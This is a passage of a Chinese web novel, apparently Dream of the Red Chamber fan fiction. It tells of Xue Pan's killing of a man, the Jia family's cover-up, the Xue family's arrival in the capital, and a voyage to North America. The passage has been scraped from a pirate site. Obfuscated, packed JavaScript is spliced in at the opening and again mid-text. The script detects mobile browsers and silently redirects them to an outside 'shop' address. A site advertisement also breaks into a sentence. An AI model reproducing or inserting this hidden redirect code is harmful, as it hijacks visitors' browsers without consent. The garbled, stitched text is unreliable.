RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583169|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有其他人。哪怕之前在江南狠狠地打了一段时间拐但这种事情因为李易峰后向来屡禁不绝。尤其许多人家根本就 是父母自个将孩子给卖了,官府也管不着! 薛蟠自发育起来之后,就开始流连女色。他又是个喜新厌旧的,先是将家里几个漂亮丫头祸害了一通,到手了又觉得没意思,开始在外头折腾,年纪小小,居然已经是青楼常客。 结果这日在外头吃酒,就遇上个卖女儿的。 那丫头也就是十三四岁光景,却已经出脱得美貌不凡,即便只是荆钗布裙,也掩不住天生丽质,她那个所谓的“父亲往她头上插了根草标,愈发显得楚楚可怜起来。 薛蟠见了,便起了色心,随即便叫人掏钱将这个女孩子买下来。结果前脚刚交了钱,后脚就有人跑出来抓着那个“父亲 那拐子一力争辩,表示就是自家女儿,那丫头又不敢说话,只会在那里哭。薛蟠才不管这些,他觉得自己花了钱,这丫头就是自己的了,见那人想要带着那女孩子走,立马就叫下头跟着的人抄起棍子就打。混乱之中,就把那后来跳出来抓拐子的人给打死了。 那拐子见状不好,立马就带着薛蟠给的银子开溜,很快就不见了踪影。薛蟠却是个无知无畏的,根本不知道天高地厚,打死了人,直接抢了那女孩子就回去了。 他胆大包天,薛王氏听了却是吓得厉害。 府衙那边过来拿人,她一方面叫人先将薛蟠藏起来,只说薛蟠不在家,一方面立马叫人带了厚礼,给京中自家姐姐写信,求姐姐救命。 贾雨村到的时候,薛蟠已经藏了好几个月,薛家本是地方上的大族,每年给官府的孝敬也不少,加上也知道薛家跟贾家的亲戚关系,苦主那边却是家境寻常,不过是小门小户,最重要的是,那个拐子跑得快,根本没抓到。那丫头又被薛蟠带走了,薛家那边也交不出人来,所以也没法判定那丫头到底是不是拐来的,如果是,又是不是苦主亲戚家的…… 总之,这案子就这么僵在了那里,等到贾雨村一上任,就碰上了这个烫手山芋。 贾雨村一开始没多想,一届商户,胆敢当街殴杀人命,该判就判便是!哪知道,很快就从下面衙役那里知道,这薛家与贾家的关系。薛家没什么可怕的,但是贾 雨村想要借此真正攀上贾家而不是看着烈火烹油却不会久长的甄家和背后的纯王。 因此贾雨村先借口那拐子还未捉拿归案然后就给贾家那边写了一封信。 这封信到的时候薛王氏求援的信早就到了。 王氏只想着薛蟠要是死了皇商的资格肯定落到薛家其他房头去了薛王氏带着个女儿只怕很快就要被薛家族人吃了绝户自己却是半点好处也没有。 只是要救下薛蟠王氏又没这个本事她不敢跟贾政说只得先去找贾史氏。 贾史氏对薛家也没什么印象说是老亲大概也就是贾家之前几位老太爷打仗的时候薛家那位紫薇舍人张罗过军需后勤的事情。要不是王家当初为了钱饥不择食硬是嫁了个女儿过去以薛家的门第想要攀上贾王这样的人家那简直是痴心妄想。 其实也是王家不如史家贾家这般枝繁叶茂王家子嗣不繁在金陵的族人血脉都远了要不然的话王家当时完全可以从族里面选个近支侄女以养女的身份嫁过去照旧能从薛家头上薅下一把羊毛来。至于之后细水长流的孝敬那肯定是没了。 但就因为王家当时的一念之差结果贾家居然跟薛家也扯上了亲戚关系贾史氏素来自傲自家门庭如今想起来就觉得不自在。如今还听说薛家的孩子居然打死了人贾史氏愈发厌恶起来。 贾史氏手上也不是没沾过血但最多就是家里的奴仆饶是如此那也是慎之又慎这等家仆看似依附主人而生实际上主人饮食起居都由这些家仆服侍真要是过于苛待这些家仆难免就要弑主到时候就是得不偿失。所以只要没必要贾史氏从来都表现得非常宽仁。 对家里的下人尚且如此何况是对外头的良民!起因还是为了抢一个很可能是被拐子拐卖的女孩子这等人堪称是残暴了!这居然是自家的亲戚!贾史氏听得王氏说这事得时候真有将二房分出去的冲动想到宝玉乖巧可爱模样的时候才将这股子冲动按捺了下去。 “既是如此你想要如何?”贾史氏不耐地说道。 王氏哭道:“我妹妹如今就这一个依靠若是蟠儿没了只怕她们母女也活不下去求老太太发发慈悲 贾史氏皱眉说道:“我一个糟老婆子又不是为官做宰哪里救得了人!” 见贾史氏一味推托王氏心中怨恨面上却是急得要命只是一味哭求。 原本王氏过来的时候正是贾史氏午休过后荣庆堂这边并无旁人结果这边正在哭外面却传来丫头的声音:“姑太太来了二太太正好也在呢!” 贾敏也没听到屋里的动静就这么进来了嘴里还笑道:“二嫂子果然孝顺早早就过来伺候了!” 说话间进来的时候就看到王氏跪在贾史氏面前满脸泪痕形容狼狈贾敏顿时就呆住了自觉自己来得不是时候正想要找个借口就听贾史氏没好气说道:“还孝顺呢不气死我就不错了!” 作者有话要说 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第 192 章 妈,我要进宫当公... 第192章妈,我要进宫当公 贾史氏都开了口,贾敏不想听也得听了。 贾史氏带着一股子气恼将事情说了一遍,然后说道:“你二嫂还想要咱们家帮忙救人,这等徇私枉法之事,咱们家掺和什么!叫官府该怎么判就怎么判,当初杀人的时候不害怕,如今害怕什么!” 见贾史氏说得绝情,王氏又在贾敏这个讨厌的小姑子面前丢了大脸,这会儿直接破罐子破摔起来:“老太太,您得想想珠儿宝玉他们啊,要是蟠儿真的被定了罪,珠儿宝玉被外头人言说有个杀人犯的表兄弟,到时候还怎么做官!还有,瑚哥儿也该娶妻了,要是知道这事,王府那边会不会悔婚呢?” 话说到这里,王氏神情居然还有点快意。贾史氏气道:“这薛家的人便是犯了什么株连九族的王法,也株连不到咱们家头上!你个恶妇,为了娘家的亲戚,连自家孩子的前程也不要了吗?” 王氏不吭声,贾史氏却怕她真的在外头宣扬开去,只气得浑身哆嗦,看着贾敏说道:“你瞧瞧,你瞧瞧,我真是后悔,当初给老二娶了你这么个搅家精。你们王家为了钱,那真是什么都做得出来,养出来的女儿,一个个也是糊涂蛋……” 贾敏还是很喜欢王熙凤的,忙阻止了贾史氏的话:“母亲,二嫂不过是一时情急!薛家那边毕竟是二嫂的亲妹妹,二嫂担忧也是情理之中!” 贾史氏叹道:“担心是一回事,但这事触犯国法,咱们家什么光景,能随便掺和到这种事情里头去吗?何况,那小子,这个年纪就敢杀人,若是叫他侥幸逃过一劫,回头再犯,咱们家继续跟着帮忙吗?” 见王氏还有些不依不饶,贾史氏没好气地说道:“你还在这边干什么?有本事你就出去嚷嚷,自家外甥是个杀人犯,大不了,将你们二房分出去就是了,想来也不会有人到我面前啰嗦!” 王氏还想要再说什么,贾敏忙说道:“此事不还没有消息吗,便是咱们家想要援手,也得搞清楚情况才是!” 王氏心不甘情不愿地回去了,留下贾敏在那里安抚气得都要喘不过气来的贾史氏:“你看看她,当初瞧着她娘家败落了可怜,便是她有许多不是,咱们也容了,叫她继续做家里的二太太,结果呢,竟是养出个白眼 狼来!这简直是里外不分自家儿子跟外甥孰轻孰重不知道吗?别人家巴不得不沾手这些事情她倒是巴巴地贴上去!要我说她压根不是真心亲近自家妹妹外甥只怕是薛家那边许了什么好处她是舍不得那些钱!” 贾敏也觉得贾史氏想得对但是也不好火上浇油只得又安抚了贾史氏一番。 结果没多久贾雨村的信也送过来了。 贾政看见信的时候差点没气死他自诩方正从来都是奉公守法结果竟有这样一个混账外甥这不是有辱他的清名吗?他很想要直接给贾雨村回信叫他务必公正执法叫薛蟠知道什么叫做国法如炉! 但是之后贾政还是犹豫了!儒家讲究亲亲相隐是不鼓励大义灭亲的。自己要是这般贾雨村那边会不会觉得自己太过不近人情? 贾政思来想去最后只得先去找王氏询问王氏知不知道案子的内情。 王氏一听正中下怀赶紧避重就轻只说那拐子可恶薛蟠原本是想要打那个拐子的却误伤了旁人薛蟠年纪小不懂事发现打死人立马就跑了云云。 这个说辞是王氏研究了好几天说出来的算是她这辈子的智慧高峰。贾政便是也不算聪明也觉得王氏的说辞漏洞百出但是他咬了咬牙还是说道:“既然如此你给你妹妹回信就咬定这个说辞另外你那外甥应该没亲自动手吧找个下人将这事顶了!” 见贾政居然同意了王氏简直是喜出望外又犹犹豫豫地说道:“那老太太那边?” 贾政没好气地说道:“老太太那边我去跟她说!” 从头到尾贾政就没想过要跟贾赦说这事。 但这事没瞒得过贾赦贾赦也想要抓住贾政的把柄好将他扫地出门因此前脚贾政叫人分别给贾雨村和薛家那边送了信后脚贾赦的人就跟了上去。 这事最后处理得竟然还算不错因为拐子没被抓到的缘故最后干脆将这事推到了那拐子身上只说薛蟠叫人打那拐子然后那拐子推着苦主顶了锅以至于如此。 薛家出了一笔烧埋银子一个家仆出来顶嘴被判了劳役但是那家仆家里却得了几百两银子作为补偿薛蟠因为管教不严以至于过失伤人致死 ,衙门里那些衙役甚至没有验明正身,找了个人顶了这五十大板,这事也就过去了。那苦主家里也就是落魄人家,得了一大笔钱,哪里还会再告。连着那可能是女儿被拐卖了的亲戚家里,也得了一笔女儿的身价银子,这事竟是有了皆大欢喜的意思! 贾雨村也有些意外,他却是没想到,贾政居然还有这样的机变,或者是身边有能人,总之这案子算是砸瓷实了,左看右看也不会有什么问题,不过虽说没因此抓住贾家的把柄,却也落下了个人情,因此,贾雨村也没觉得失落,继续在金陵做他的青天大老爷。 只是薛蟠自觉丢了大脸,薛家各房又开始旧事重提,毕竟,薛蟠行事孟浪,连人命官司都搞出来了,虽说如今解决了,但他这个性子,哪里还能继续执掌皇商的位置。做生意重要的是和气生财,哪有动不动就打打杀杀的道理! 薛家刚欠了贾家这么个大人情,再求着人家保住皇商的资格就显得有些得寸进尺。 薛王氏也算是灵光一闪,发现许多事情,逃避虽然可耻,却非常有用!正好听说宫里头开始遴选公主伴读,觉得自家女儿聪明伶俐,自家作为皇商,也有这个资格,便直接通过内务府的路子报了名,然后便打算拖家带口进京。 她想得很简单,虽说娘家没了,但是姐姐还在,姐姐似乎在贾家混得不错,那不如投奔姐姐去,免得留在金陵,一个不小心就被族人吃了绝户。何况,娘家那边还有个嫂子呢,听说娘家侄女是嫁进了宁国府?贾家两个王家人,她过去投奔,也不显得突兀。 实际上不仅突兀,还挺冒昧。 薛蟠的案子了解得很快,这一家子就没在路上耗太久,两三个月时间,就进了京。 王氏对于妹妹一家的到来还是很高兴的,这离得近了,更容易捞钱啊! 王氏如今话语权并不高,觉得自己留了薛家可能性不大,想来想去,她就跑去宁国府找王熙凤。 王熙凤对王家并没什么感情。她出生的时候,王家就已经完蛋了,王子胜和王子腾对她来说,就是个名字罢了! 不过,她得承认,她能有今日,其实离不开王氏,毕竟要不是王氏的存在,她不能在贾家长大,得不到贾家这些长辈的看重,自然无法嫁到宁国府成为三等将军夫人。 哪怕王氏当初别 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 有所图,王熙凤也是欠下了人情的,如今王氏想要让她敲一敲边鼓,让没什么印象的另外一个姑母带着全家在贾家这边住下来,王熙凤思来想去,也没觉得这事跟自己有什么冲突的地方。 她也没把王氏往坏里想,因为自家母亲也说过,当年之所以留在神京,而不是返回金陵,怕的就是被族人吃绝户。如今薛家姑妈带着孩子过来,估摸着也是类似的想法,想要借着贾家的名头庇护一二。 何况,王氏只是说薛家在京中的宅子荒废多年,一时半会儿收拾不出来,总不能一大家族出去住客栈,这不是待客的礼数,所以想要留薛家住一阵子,等薛家宅子收拾出来再说。 王熙凤更觉得没什么问题了,至于说薛蟠杀人的事情,王熙凤只是隐约听说了大概,王氏只说是失手,并非有意,她也没有把薛蟠往坏里想,因此便答应了下来。 薛王氏也算是客气,自家过来,那是寄人篱下,何况,金陵那边的产业还得借着贾家的威势才能卖个好价钱,不至于叫人趁火打劫,到了京城这边,薛家要做生意,也少不得要借贾家的光,因此早早打听了贾家如今的情况,给贾家大大小小的主子都给准备了厚礼。 总之,初见的时候,大家还是宾主尽欢的,薛宝钗生得肌肤莹润,美貌过人,看起来性情也颇为温婉,也叫几个长辈看着挺舒心,因此,王氏试探着表示薛家如今宅子还没修好想要留她们住在自己家里的时候,贾史氏就答应下来。 原本王氏想的是张氏之前扩建出来的院子,那边开了后门,出入方便,但是张氏才不乐意,那两个院子是专门建出来给贾瑚贾琏成婚用的,谁来招待外八路的亲戚,要是他们赖着不走了怎么办! 张氏还没来得及开口,贾史氏那边就先拒绝了。毕竟,贾瑚要娶郡主,难道叫人家皇家郡主跟商户人家做邻居? 最后薛家还是被安置到了梨香院,这边是贾代善最后一年养病的地方,大家对这里都有点心理阴影,因此,哪怕那里地方不错,颇为清幽雅致,但至今也没人去住! 薛家不知道这事,瞧着梨香院地方不错,而且还有个门通往外头,薛家照样可以打理外头的生意,当下喜不自胜,又说了一通一应供给,都自家开支的话。贾家对此根本不放在心上,薛家住在梨香院,一点饮食起居上的开 支算什么,关键是,他们把贾家这个虎皮穿身上了, 贾敏在一边瞧着薛王氏的模样,也没吱声,她自己说是省亲,其实在娘家也是客人,这些事,还轮不到她来开口。只是因为薛蟠的事情,她如今对薛家也有些偏见,虽然薛家如今在贾家这里看着弱势,但是只怕在外头,却是极为张扬霸道的。 家里的女眷明面上对薛家都表现出了欢迎,贾政在见到薛蟠的时候就后悔了。 王氏将薛蟠说成是个老实憨厚的孩子,结果贾政看到的却是个看起来有点油腻的小胖子,最重要的是,薛蟠标准的不学无术。贾政喜欢读书人,而薛蟠呢,都这个年纪了,连三字经都背不下来,一开口,就透着无知和愚蠢,这叫贾政只觉得浑身不自在,说了几句话之后,就将人给打发掉了!想到这小子以后就住在自己家了,贾政恨不得立马在梨香院和荣禧堂之间多砌几道墙出来,免得薛蟠的蠢气传染了自己的儿子。 薛家正好赶上了佳婉跟贾瑚的婚事,哪怕原本就听说贾家跟王府结了亲,等着王府的嫁妆送过来的时候,薛家这边也是大开眼界。 薛家是富而不贵,要说钱财,他们是真的不缺,论起见识,他们也不算少,毕竟,宫里许多用度,都是他们这些皇商进上的。但是,许多东西,他们私底下用一用可以,比如说薛宝钗玫瑰二色金的袄子,不穿出去,谁也不会挑理,但叫外头看见了,那就是僭越。 而佳婉却是正经有封号的郡主,平王府在宗室里头又极体面,内务府给佳婉准备的嫁妆自然也比较体面实惠,还能体现出佳婉的身份。 这年头虽说钟鸣鼎食已经成了形容词,但依旧有另外一套判定阶级的方法。比如皇帝皇后可以日常使用金器,其他人却只能用一部分。各个宫室里头的日常用具,也有区别,哪怕都是官窑里面的瓷器,谁用什么颜色的,都有规定。平时不计较,计较起来就是罪过。 郡主县主,可以用七尾的凤钗,寻常诰命,最多只能用五尾,她日常用的器皿衣裳上头也可以有鸾凤纹路,像是嫁妆里头的许多摆件,就是典型的内造之物,上头都有严格的标记。 总之,薛宝钗算是被彻底震撼了一把。她在江南的时候,自以为自己跟官家小姐没什么区别,甚至那些穷酸一点的官儿,家里姑娘吃穿用度比起薛宝 钗可差太远了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627261|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是到了荣国府,她也没觉得荣国府的姑娘乃至客居的黛玉湘云在衣着打扮上比她强到哪里去。 结果如今不过是略窥一角,她突然就意识到,这身份上的天差地别所带来的不同之处。 原本对给公主做伴读之事,薛宝钗并不热衷,她在家是小姐,进了宫就是奴婢,哪有好好的小姐不当,硬要去做奴婢的。 但如今见识了真实的皇家富贵,她忽然意识到,自己所以为的荣华不过就是朝露罢了,太阳一晒,那就没了。 等到第二日婚礼的时候,薛宝钗愈发动容。只听那些下人言说,前头高朋满座,后院里头,来的又有许多公主王妃,三品以下的诰命都进不了正堂。像是薛王氏,在外头,人家也叫一句夫人太太,放在这里,连拜见那些正经诰命妇人的资格都没有。 他们一家人只能躲在梨香院,听着礼乐喧嚣,黯然神往。 “妈,我要进宫当公主伴读!”薛宝钗想得很简单,做了公主伴读,自己就能接触到那些原本根本不可能接触得到的贵人,以自己的人品相貌,若是能与那些贵人相识,哪有不被看中的道理? 薛宝钗自家没什么规矩,因此却没想到,真正要脸的人,谁会跟姐妹身边的丫头有什么瓜葛,不怕落下一个荒淫无道的名头吗?她进宫做公主伴读,若是本身出身体面,那么,这些龙子凤孙看上了,或许会回去说一声,反正都要娶妻,娶个见过的,算是知根知底的,总比盲婚哑嫁来得强。 但薛宝钗呢,她这样的身份,便是做了伴读,也只能是那种比宫女略强一点的角色,也就是说,她在那些人眼里,最多就是能做妾,但是,谁会要姐妹身边的人做妾呢?又不是亲妈身边的! 可以说,薛家奉献一笔家产,供奉给某家经济拮据的王府,反倒是更容易捞到个妾室的资格。 薛王氏也想不到这些,她倒也心疼女儿,忙说道:“我的儿,进宫哪里是那么容易的事情,宫里如今总共才几个公主,便是一个公主选三四个伴读,也不过就是几掌之数,咱们家也无别的门路,报个名,无非就是陪太子读书罢了!依我说,你就好好在家待着,你瞧你凤姐姐,跟着你元大姐姐一起长大,如今都能嫁给宁国府珍大爷做个将军夫人,你如今也在这边,好好讨好老太太和你姨妈,到时 候借着贾家的名头,被哪个官宦人家瞧上,岂不是好?非得进宫一趟作甚!” 薛宝钗却是说道:“凤丫头那会儿不过是她跟大姐姐两个人,所以,贾家这边多加教导,能嫁到宁国府,那也是因为珍大爷一贯荒唐,又丧了原配的缘故,如今这府里头,正经的姑娘就有两个,宁府那边还有个嫡出的四姑娘,又有云姑娘和林姑娘,一个是老太太的侄孙女,一个是嫡亲的外孙女,我在里头算得了什么!日后有什么好姻缘,难道他们不先紧着自家的姑娘,反倒是先紧着我?哥哥的脾气,妈妈你也知道,我若能嫁得贵婿,还能帮衬家里一二!咱们家总不能老指着姨妈姨夫吧!” 薛王氏本身就是个没什么主意的,在家很多时候,也觉得女儿主意更正,更能沉得住气!丈夫死后,儿子不成器,女儿倒是支棱了起来,府里头许多账本,倒都要先经女儿的手,外头的生意,也是宝钗更清楚一些,如今听得宝钗这般言语,也觉得有道理,只是还有些踌躇:“可这若是去了,却没有成,岂不是叫人笑话?” 薛宝钗见薛王氏已经是愿意了,忙说道:“大姐姐这不是之前进了宫做女官,姨妈难道不想给大姐姐寻个臂助?不如请姨妈转圜一二?” 薛宝钗眼界在这里,并没有意识到,王氏在这个府里其实没多少发言权,但薛王氏却是知道的。要是娘家还在,以王家的权势,自家女儿进宫,倒不是什么难事,可如今,自家姐姐看似生了二子一女,一个个还都挺出息,实际上,也是个做不得太多主的。府里头真正做主的还得是贾史氏,那么,怎么样才能打动贾史氏呢? 宝钗其实也没完全指望自家姨妈,在她看来,元春在宫里这么几年都只是个女官,不曾更进一步,可见贾家在宫中也无什么能耐。但贾家既然有个郡主做媳妇,是不是可以求到郡主头上呢?这位郡主应该是跟宫中那几位公主一块长大的吧! 宝钗心中痴心妄想,却不想想看,佳婉根本就不知道薛家是谁,便是知道,她凭什么插手宫里那几位公主伴读的事情! 母女两个在梨香院各自思量,那边薛蟠却混在贾家一干族人亲戚当中,在外头吃席。他因为不学无术,贾政实在看不过眼,勒令他进贾家家学读书。偏生贾家家学的情况,大家都是知道的,贾代儒只管混日子,横竖只要家学在,就少 不得他的银子,下面学生学得是好是坏,都与贾代儒不想干。而族里那些学生,也多半是来混一顿饭还有一笔纸笔银子罢了,哪有用心学习的,不过就是混日子罢了。 薛蟠到了那边,他人傻钱多,很快就被贾家一干子弟视作冤大头,略微吹捧几句,薛蟠就大包大揽,大把的银子撒出去,叫贾家一干子弟都养大了心思,原本只是听说而没钱去的地方,也鼓动薛蟠带着一块过去,竟是将京中各处浮华之地走了个八九不离十,又认识了不少浮浪子弟,愈发大手大脚起来。 薛王氏不知究竟,就听薛蟠说什么在外头认识了多少多少朋友,这个是谁家的公子,那个是谁家的兄弟,只弄得薛王氏目瞪口呆,还觉得这儿子有出息了。薛宝钗虽说觉得不对劲,但也拿不住证据,她终究是女儿家,薛蟠才是家主,她多说了,惹恼了薛蟠乃至薛王氏,自己日子也不好过! 这会儿,贾家一干族人亲戚就开始拿着薛蟠取乐,薛蟠是个听不懂人话的,竟是没听出来,还在那里自吹自擂,竟是又将金陵那事拿出来大吹特吹,表示自己杀了人也无事,自然被一些有心人听在耳中。 作者有话要说 第 193 章 弟妹如今手里还有... 第193章弟妹如今手里还有 婚礼之后没多久,薛蟠杀过人的事情,在某个圈子里已经是无人不知无人不晓。有人觉得是薛蟠胡吹大气,也有人叫人仔细打听了一番,搞清楚了前因后果。 贾政是个庸人,这事也都是贾政找了贾雨村在操作,徒宏憬那边还以为贾雨村是看在贾政这边之前跟甄家和自己的关系的份上,徇私了一把,还颇为满意,知道自己手下的人想要借此弹劾贾家,直接压了下去。毕竟,这事其实不怎么牵扯得到贾赦头上,不如留着贾政乃至留着薛家,继续给贾赦拖后腿。 但贾赦也闻听了一些风声,只惊出了一身冷汗。 江湖越老,胆子越小!当官也是一样,贾赦如今愈发能够体会,什么叫做伴君如伴虎。有点小把柄在皇帝手上不是坏事,但你也不能把柄太多啊! 贾赦琢磨了一声,朝堂上没有风声,他只得用密折的渠道先递了封请罪折子上去,将前因后果说了,只说自己治家不严,之前也不曾听得半点风声,之后知道了,还以为的确是误杀,没当回事云云,总之,该甩的锅一个都没留下。 圣上看了折子,也觉得好笑, 然后,贾赦就气势汹汹回去,准备趁着这个机会,再揍贾政一顿。 贾政被揍得鼻青眼肿的时候,贾瑚已经携着佳婉往王府回门来了。 佳婉看起来神情颇为轻松自在,看样子在贾家过得不错,先拜见了顾晓,顾晓瞧她满面春光的模样,也不多问,便是一笑:“罢了,你去后头跟妹妹们说说话吧,一会儿再到这边来用饭!” 而贾瑚这边,也被徒嘉钰给提溜走了,很快就被徒嘉泽和末儿包围,老老实实将早就准备好的礼物拿出来,又一次赌咒发誓,不会叫郡主受任何委屈。 徒嘉泽想到之前外头听到的话,忙问道:“你们家有个亲戚,说是在金陵杀了人,是真的吗?” 贾瑚一下子就有些尴尬,只得含含糊糊说道:“我也不清楚,只听闻是误伤,他本来是要打拐子的,结果那拐子躲了,反倒是打到了别人,又一个不巧,失手将人打死了!” 徒嘉泽一听,也信了,嘀咕道:“原来是吹牛!我说了,一个杀人犯,好不容易逃了国法,居然还敢正当光明地 在神京出没,还以为是什么绝世凶人呢!” 徒嘉钰可不是什么容易糊弄的,他这几年也知道了不少世情,知道民间私底下也有许多污糟之事,也有官府勾结豪强,颠倒黑白之事,像是这案子,分明就有些猫腻!真要是误杀,那薛蟠差点惹上人命官司,好歹得谨言慎行一阵子,如今却是酒后狂言,说不定还真是个不把人命放在眼里的狂徒。 末儿也是个机敏的,他撇了撇嘴:“无风不起浪,这人肯定不是什么好人!我听说他就住在贾家,以后可不能叫他靠近大姐姐!” “说什么糊涂话,他是外男,你大姐姐住在内宅,如何能碰得到他!”徒嘉钰忙说道。 贾瑚愈发羞惭,自家怎么竟有这等亲戚,实在是丢人现眼。 贾瑚在前头被几个大小舅子弄得左支右绌,狼狈不堪,佳婉却在后头跟两个妹妹说起了闲话。 嫁了人跟在娘家完全是两个感觉,她跟贾家的人并不相熟,因为身份的缘故,大家彼此都客客气气的,便是贾史氏,对上她也是亲亲热热,头一天见礼,就给了一柄镶金嵌宝沉香如意,据说还是前朝宫廷之中的旧物,颇为珍贵。 原本嫁过去之前,家里还叫她注意一点二房,哪知道这次二房那位婶子王氏,居然出手也挺大方,直接就给了一副八宝璎珞。 “也亏得之前邀请过他们府里几个小姑娘,要不然我过去都没什么熟人了!”贾瑚虽说已经吊车尾考上了举人,不用继续待在国子监读书,但是白日里头还多半是在书房,晚上才能回来。佳婉刚过门,她自个性子也懒散,张氏不开口,也不会大喇喇表示自己要管家,总得等到一切水到渠成了才行,何况,她倒是情愿坐享其成,省得多费心。白日里无事,佳婉总不能一个人住在后头院子里,贾瑚也说了,家里几个姑娘都是好的,便是年纪小了点,却也聪敏过人,又善解人意,可以经常请了一起来玩耍。 昨儿个佳婉就请了一干姑娘到自己院子里面喝茶聊天,佳婉不摆郡主的架子,几个女孩子情商也都挺高,自然是相谈甚欢。 “大姐,你不是还有个妯娌吗?听说是国子监祭酒家的千金,她怎么样?”可卿问道。 佳婉摇了摇头,说道:“我倒是也邀请了她,但是她却没有多待,就回去了!总觉得她好像有点心 事!” 佳姝听了,不免脑洞大开:“难道她婆婆不喜欢她跟你接近?” 可卿却是个心思玲珑的,说道:“那才不会,我猜啊,肯定是她跟她婆婆关系不好!大姐夫去读书,大姐还能请了那些小姑子一起说笑,但之前却没听说那位也这般,可见她在家里压根做不得主,定然是婆婆太厉害,她怕婆婆说她!” 佳婉听了,不由笑着捏了捏可卿的腮帮子:“你这丫头,倒是婆婆媳妇的了,可是也想男人了?要不要姐姐给你做媒啊?” 之前都是佳姝和可卿打趣佳婉,等到佳婉真的嫁人做了媳妇,反倒是不在这种事情上娇羞了,可以反过来打趣两个妹妹。 可卿却不是那等动不动就害羞的,反倒是说道:“二姐姐还没定下来呢,说我作甚!大姐姐尽管问二姐姐去!” 佳姝没想到火烧到了自己头上,忙说道:“我才不嫁人呢,在家多好!” “说起来,母妃不曾与你说什么吗?”佳婉问道。 佳姝这回是真有些羞恼了,几个女孩子打闹了一番,只闹得粉面微红,娇喘吁吁,佳姝才涨红了脸,低声说道:“母妃跟我说过这事,只是,我真的一时半会儿不想嫁人!” 可卿笑嘻嘻说道:“这样也好,二姐姐躲两年,我就能跟着多躲几年了!” 她们两个真不觉得嫁人有多好,佳婉好歹嫁了个知根知底的,之前忙着出嫁前的准备,许多事情,她们都没跟她说,怕她生出什么想法来。之前她们认识的那些闺蜜,好些个这几年都陆陆续续嫁了人,但真正过得圆满的也没几个,便是有封号品级的宗室女也不例外。婚事看起来花团锦簇,但真成亲之后,却都暴露出了不少事情来。有的丈夫就是个浪荡纨绔,吃着碗里看着锅里,没几天就先跟自己的陪嫁丫头眉来眼去勾勾搭搭;有的却是才进了门没多久,就发现对方就是面上光鲜,家里头已经是寅吃卯粮,入不敷出,催着她管家就是叫她托底;也有的看起来运气好,嫁过去没多久就有了身孕,好容易九死一生生了孩子,但是生育之后,身体亏虚,身材走形,脸上长斑,丈夫见了不光不体贴,还多有嫌弃…… 总之,过得好的不多,糟心事倒是挺多,两人不免就有了婚姻恐惧症,觉得还是留在家里做姑娘更好一些,再不济,多拖几年是 几年。 顾晓也猜出了她们的心思,只是对此也是无奈。如今女子地位在那里,不比汉唐那会儿,女子还颇有些自主权。像是唐朝那会儿,多有女孩子不想嫁人,干脆先出家修道,过个几年想要嫁人了再还俗。成婚之后,便是夫妻不偕,也能和离再嫁。 宋朝之后就没这样的好事了,女子的权利越来越少,甚至到了后来,民间裹脚之事也流行起来。本朝开国的时候,一度严禁裹脚,像是勋贵武将人家和开明一些的文官人家,倒是不会叫女子裹脚,但是低品的官员还有民间却根本不在乎这条禁令,还有人专门吹捧什么三寸金莲,恶心一点的,拿着人家的绣鞋当酒杯,也不怕脚臭!横竖裹了脚之后便是睡觉也穿着睡鞋,平时也都裹着裹脚布,看不到那所谓三寸金莲的畸形与丑陋,只觉得玲珑可爱,因此,但凡是那等以色娱人的行当,几乎就没不裹脚的。 便是寻常百姓家,也会叫家里的女儿裹脚,裹过脚的聘礼都会高一些。那也不是因为裹脚好看,而是因为裹脚之后行动不便,娶回来就不怕跑了!有钱人家裹了脚,可以不用做活,饮食起居都有下人伺候。而穷人家裹了脚,该干活还得继续干,站不起来就跪着。顾晓前几年去庄子上的时候正值农忙,就曾经看到路边的田地里头,有农妇跪在地里头割麦捆扎,开始还不知道为什么,后来悄悄问了人才知道,那几个农妇居然也是小脚。 顾晓后来专门打听了一下,不免又是庆幸又是恶心。庆幸的是,她没摊上裹脚的人家,恶心的是,这等恶臭的习俗居然愈发兴盛了。也亏得王府里头不会有人裹脚,要不然的话,她真是想要立马提桶跑路。 对佳姝和可卿的婚事,顾晓也有些犹豫。可卿和佳姝两人年龄其实都不算小了,再拖下去,她都得落个不慈的名头。但其实依顾晓的本心,并不希望两个女孩子将来就困在内宅之中,她们可以有更广阔的世界。因此,顾晓想过,能不能将两人嫁给会跟着徒嘉珩和徒嘉钰出海的人,以后他们可以一起出海,到了海外,因为人力资源紧张的缘故,女子也会有更多的用武之地,而不至于一辈子只能相夫教子,过那等一眼能望得到头的日子。 这也是因为佳姝和可卿表现出了她们的不甘,顾晓才会生出这样的想法,要不然的话,她们如果就想要如同寻常女子一样 ,嫁个贵婿,过一辈子安逸荣华的生活,以她们的身份,那也再容易不过。 只是这般想法,颇有些离经叛道,何况,朝廷至今没有表露出半点出海的意思,顾晓也不能一直拖着,真要是耽误了两个女孩子的青春,回头也要被人说嘴。 顾晓不是那等大公无私的人,她首先考虑的是自己,在不影响自己利益的情况下,她才会给别人方便。这也是现代人的普遍价值观,放下助人情结,尊重他人命运。管好自己就已经很难了,没事不要去管别人的闲事。佳姝和可卿又不是她生的,便是以这个年代的价值观,做亲妈的也没法保证孩子婚姻的幸福和心理健康问题。 这一年的深秋,顾晓派出去的船队回来了。 他们打通了穿越太平洋通往北美的航线,登陆了北美的西海岸。 此时,西海岸这边还没多少西洋人的踪迹,毕竟他们主要还是在东海岸活动,后来移 民的人多了,才搞出了西进运动。 这对顾晓来说,无疑是一件好事,这意味着,他们不需要太早与西洋人产生什么冲突,可以先埋下头来大搞基建,等着之后,再慢慢扩张。 